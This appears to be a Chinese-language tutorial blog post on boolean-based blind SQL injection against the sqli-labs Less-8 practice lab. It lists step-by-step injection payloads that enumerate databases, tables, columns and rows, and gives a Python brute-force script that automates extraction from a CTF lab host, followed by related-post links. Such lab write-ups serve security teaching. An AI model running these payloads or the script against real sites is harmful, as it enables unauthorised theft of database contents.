布尔盲注其实就是构造一个SQL语句,当语句成立时,页面会返回特点的标识,语句不成立是返回其他,或无数据。因此我们可以构造一个判断语句,利用页面的返回结果来得知判断语句是否正确。
再学习布尔盲注之前,一些常用函数如下:

length(): 返回字符串长度。
substr(str, start, len): 截取str,从start开始,截取长度为len。
ascii(): 返回字符串的ascii码。

1、判断共有几个数据库
payload

?id=1' and (select count(schema_name) from information_schema.schemata)=6 --+

2、判断当前数据库名长度
payload

?id=1' and length(database())=8 --+

3、判断当前数据库名称
payload

?id=1' and substr(database(),1,1)='s' --+
?id=1' and ascii(substr(database(), 1, 1))=115 --+

4、判断其他数据库名长度
payload

?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=11 --+

可以通过修改limit后的值,来依次判断所有数据库名的长度。

5、判断其他数据库名称
payload

?id=1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='c' --+

6、判断数据库中的表的数量
payload

?id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = 4--+

7、判断表名长度
payload

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1)) = 6--+

8、判断表名
payload

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) = 'e'--+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) = 101--+

9、判断表中字段数量
payload

?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2  --+

10、判断表中字段名长度
payload

?id=1' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1)) =2 --+

11、判断字段名
payload

?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1) ='i' --+

12、判断数据长度
payload

?id=1' and length((select id from security.emails limit 0,1)) = 1 --+

13、读取数据
payload

?id=1' and substr((select id from security.emails limit 0,1),1,1) = 1 --+
?id=1' and ascii(substr((select id from security.emails limit 0,1),1,1)) = 49 --+


python脚本

#coding:UTF-8
import requests
import string#爆破数据库数量
payload = "?id=1' and (select count(schema_name) from information_schema.schemata)={} -- "
#爆破数据库名长度
payload1 = "?id=1' and length((select schema_name from information_schema.schemata limit {},1))={} -- "
#爆破数据库名
payload2 = "?id=1' and substr((select schema_name from information_schema.schemata limit {},1),{},1)='{}' -- "
#爆破表的数量
payload3 = "?id=1' and (select count(table_name) from information_schema.tables where table_schema='{}')={}-- "
#爆破表名长度
payload4 = "?id=1' and length((select table_name from information_schema.tables where table_schema='{}' limit {},1))={}-- "
#爆破表名
payload5 = "?id=1' and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1) = '{}'-- "
#爆破表中字段数量
payload6 = "?id=1' and (select count(column_name) from information_schema.columns where table_schema='{}' and table_name='{}')={} -- "
#爆破表中字段长度
payload7 = "?id=1' and length((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1))={} -- "
#爆破字段名
payload8 = "?id=1' and substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1) ='{}'-- "
#爆破数据数量
payload9 = "?id=1' and (select count({}) from {}.{}) = {} -- "
#爆破数据长度
payload10 = "?id=1' and length((select {} from {}.{} limit {},1)) = {} -- "
#爆破数据
payload11 = "?id=1' and substr((select {} from {}.{} limit {},1),{},1) = '{}' -- "url = "http://826b9dc8-b881-48b0-a108-2fc4f2178be6.node3.buuoj.cn/Less-8/"
def bp_schema(url):db_count = 0for i in range(1,100):tmp = url + payload.format(str(i))r = requests.get(tmp)if "You are in" in r.text:print("共有",i,"个数据库")db_count = ibreakdb_name = []for i in range(db_count):print("第",i+1,"个数据库")for j in range(1,30):#循环判断数据库长度tmp = url + payload1.format(str(i),j)r = requests.get(tmp)if "You are in" in r.text:print(j)schema_name = ""for n in range(1,j+1):#循环爆破每一个字符for k in string.printable:tmp = url + payload2.format(i,n,k)r = requests.get(tmp)if "You are in" in r.text:#成功爆破后,通过break跳出循环,猜解下一个字符schema_name += kprint(schema_name)breakdb_name.append(schema_name)#全部猜解完毕后跳出判断数据库长度的循环,爆破下一个数据库名长度breakreturn db_name# #['ctftraining', 'information_schema', 'mysql', 'performance_schema', 'security', 'test']def bp_table(url,db_name):tb_count = 0for i in range(1,100):tmp = url + payload3.format(db_name,str(i))r = requests.get(tmp)if "You are in" in r.text:print(db_name,"共有",i,"个表")tb_count = ibreaktb_name = []for i in range(tb_count):print("第",i+1,"个表")for j in range(1,30):#循环判断表名长度tmp = url + payload4.format(db_name,str(i),j)r = requests.get(tmp)if "You are in" in r.text:print(j)table_name = ""for n in range(1,j+1):#循环爆破每一个字符for k in string.printable:tmp = url + payload5.format(db_name,i,n,k)r = requests.get(tmp)if "You are in" in r.text:#成功爆破后,通过break跳出循环,猜解下一个字符table_name += kprint(table_name)breaktb_name.append(table_name)#全部猜解完毕后跳出判断表名长度的循环,爆破下一个表名长度breakreturn tb_namedef bp_column(url,db_name,tb_name):co_count = 0for i in range(1,100):tmp = url + payload6.format(db_name,tb_name,str(i))r = requests.get(tmp)if "You are in" in r.text:print(tb_name,"共有",i,"个字段")co_count = ibreakco_name = []for i in range(co_count):print("第",i+1,"个字段")for j in range(1,30):#循环判断表名长度tmp = url + payload7.format(db_name,tb_name,str(i),j)r = requests.get(tmp)if "You are in" in r.text:print(j)column_name = ""for n in range(1,j+1):#循环爆破每一个字符for k in string.printable:tmp = url + payload8.format(db_name,tb_name,i,n,k)r = requests.get(tmp)if "You are in" in r.text:#成功爆破后,通过break跳出循环,猜解下一个字符column_name += kprint(column_name)breakco_name.append(column_name)#全部猜解完毕后跳出判断数据库长度的循环,爆破下一个表名长度breakreturn co_namedef bp_data(url,db_name,tb_name,co_name):da_count = 0for i in range(1,100):tmp = url + payload9.format(co_name,db_name,tb_name,str(i))r = requests.get(tmp)if "You are in" in r.text:print("共有",i,"个数据")da_count = ibreakda_name = []for i in range(da_count):print("第",i+1,"个")for j in range(1,100):#循环判断数据长度tmp = url + payload10.format(co_name,db_name,tb_name,str(i),j)r = requests.get(tmp)if "You are in" in r.text:print(j)data_name = ""for n in range(1,j+1):#循环爆破每一个字符for k in string.printable:tmp = url + payload11.format(co_name,db_name,tb_name,i,n,k)r = requests.get(tmp)if "You are in" in r.text:#成功爆破后,通过break跳出循环,猜解下一个字符data_name += kprint(data_name)breakda_name.append(data_name)#全部猜解完毕后跳出判断数据长度的循环,爆破下一个数据长度breakprint(da_name)# for schema in bp_schema(url):
#     for table in bp_table(url,schema):
#         for column in bp_column(url,schema,table):
#             bp_data(url,schema,table,column)for table in bp_table(url,"security"):for column in bp_column(url,"security",table):bp_data(url,"security",table,column)

sqli-labs Less-8(布尔盲注)相关推荐

  1. SQLi LABS Less 16 布尔盲注

    第十六关是双引号+括号的字符型注入,推荐使用布尔盲注 一.功能分析 一个简单的登录功能,输入用户名和密码点击登录,后台接收参数查询数据库. 如果用户名和密码存在,页面提示登录成功. 如果用户名和密码不 ...

  2. SQLi LABS Less 15 布尔盲注

    第十五是单引号字符串型注入,推荐使用布尔盲注. 一.功能分析 输入用户名和密码,后台接收参数查询数据库. 如果用户名和密码存在,页面提示登录成功. 如果用户名和密码不存在,页面提示登录失败. 二.思路 ...

  3. SQLi LABS Less 10 时间盲注

    第十关是双引号字符型注入,推荐使用时间盲注. 一.功能分析 二.思路分析 三.解题步骤 方式一:时间盲注 第一步.判断注入条件 第二步.判断长度 第三步.枚举字符 脱库 一.功能分析 二.思路分析 页 ...

  4. SQLi LABS Less 9 时间盲注

    第九关是单引号字符型注入,推荐使用时间盲注 一.功能分析 在地址栏输入id作为参数,后台根据id查询用户信息. 二.思路分析 输入任何参数,页面都只有一种响应结果:You are in........ ...

  5. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  6. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  7. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  8. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  9. SQLi LABS Less-8 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第八关是单引号字符型注入,推荐使用布尔盲注 方式一:布尔盲注 第一步.判断注入 ...

  10. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

最新文章

  1. 入门系列之使用Sysdig监视您的Ubuntu 16.04系统 1
  2. hdu5040 不错的广搜旋转的摄像头
  3. 30个数据可视化超级工具_Python5个数据可视化工具
  4. PLSQL写给员工涨工资,总裁涨1000,经理涨800,其他员工涨400
  5. 序列化技术的选型-选型建议
  6. 使用EasyNetQ组件操作RabbitMQ消息队列服务
  7. Coding and Paper Letter(十四)
  8. 模拟光端机和数字光端机的优缺点介绍
  9. python的浮点数_python – range()用于浮点数
  10. 《统计学习方法》读书笔记
  11. @JsonView注解的使用
  12. android 拷贝大文件,不用数据线,手机和电脑互传大文件
  13. 如何在项目管理中使用PERT图
  14. 使用pandas比对Excel表格,把不同数据列出
  15. C语言————鸡兔共有30只,脚共有90只,下面的程序段是计算鸡和兔共有多少只?
  16. Light Emitting Hindenburg 解题思路
  17. SpringBoot:Bean生命周期介绍
  18. FlexRay 介绍
  19. 保理供应链金融系统:上下游企业流动性压力迎刃而解!
  20. 基因xii_在Hack Week XII上运行创意

热门文章

  1. 日本第二场酒类专场拍卖“L拍卖”将在东京举行
  2. 非常详细的讲解在浏览器中输入bilibili.com后执行的全部过程,可结合我前面说的TCP协议食用
  3. 计算机房常配用的,计算机房常配用的是( )灭火器。
  4. 陌生男女社交软件交流手册
  5. html链接路径分为哪几种,什么是url地址?
  6. gdiplus图像库的使用
  7. 云服务器有什么用途?新手如何使用云服务器
  8. Atlas 200 HiLens Kit
  9. 2021年全球乳酸乙酯收入大约88百万美元,预计2028年达到109.3百万美元
  10. 微信公众号运营的七大问题,你遇到了吗?